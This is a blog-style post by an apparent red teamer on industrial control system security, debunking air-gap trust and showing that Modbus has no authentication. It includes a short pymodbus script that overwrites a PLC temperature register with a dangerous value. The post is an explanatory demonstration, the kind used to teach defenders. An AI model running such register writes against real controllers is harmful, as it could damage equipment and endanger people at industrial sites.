Hey folks, I’m here today to ruin your mood a bit and show you just how massive the holes are in those industrial fortresses you trust so much. Our topic: Industrial Control Systems (ICS) and Operational Technology (OT) security.
Let’s start with that famous 'Air-Gap' thing. No matter who I talk to in the industry, they all say, 'Sedat, man, our systems are closed to the internet, we’re on an isolated network, nothing can touch us.' Look, my friend, that is one of the biggest and most dangerous lies in the cybersecurity world. Everyone praises the 'Air-Gap,' but the moment that rusty maintenance laptop—carrying a thousand and one types of malware—plugs into that sacred isolated network, your entire defense collapses like a house of cards. Relying on an 'Air-Gap' in a production environment is just lying to yourself; because data flow (via USB, serial ports, maintenance tunnels) always finds a way.
Why is the OT World So 'Fragile'?
While we’re dealing with patches, EDRs, and complex authorization mechanisms in the IT world, it’s like time stopped in the 1990s for the OT world. Most protocols used when talking to a PLC (Programmable Logic Controller)—like Modbus, S7Comm, or BACnet—were designed when the word 'security' wasn't even in the dictionary. Do you know the common trait of these protocols? Trust. If a packet arrives, the PLC believes it came from the 'right' place. No authentication, no encryption, no integrity checks.
Now, let me show you from a Red Teamer's perspective how 'innocent' yet 'deadly' a Modbus packet can be.
A Fictional Disaster Scenario via Modbus
Modbus/TCP is the common language of the industrial world. It talks over TCP port 502. If I’ve managed to pivot into this network somehow (say, through a VPN leak or that famous maintenance laptop), I don’t even need specialized software. I can wreck the system using just Python and the pymodbus library.
Here is a simple register manipulation code an attacker might use (or that we use during penetration tests to demonstrate the vulnerability):
# FOR EDUCATIONAL PURPOSES: Mock code manipulating a temperature value on a PLC
from pymodbus.client import ModbusTcpClient
# Target PLC (Defanged IP)
target_plc_ip = "127.0.0.1"
client = ModbusTcpClient(target_plc_ip, port=502)
def check_and_manipulate():
if client.connect():
# Read Holding Register 100 (e.g., Boiler Temperature)
result = client.read_holding_registers(100, 1)
if not result.isError():
current_temp = result.registers[0]
print(f"[*] Current Temperature: {current_temp} Degrees")
# Change the value to exceed critical threshold (Hardening test)
# In a real attack, this could shut down the cooling system
new_temp = 9999
client.write_register(100, new_temp)
print(f"[!] Critical intervention: Temperature set to {new_temp}!")
client.close()
else:
print("[-] PLC connection failed.")
# check_and_manipulate()
What does the code above do? It connects to the PLC, reads the temperature value from a specific register, and then overwrites it with a nonsensical, dangerous value. In a real-world scenario, this could trigger an emergency shutdown, damage physical hardware, or even lead to an explosion depending on the process. The scary part? The PLC didn't ask me who I was or why I was writing to that register. It just did what it was told.
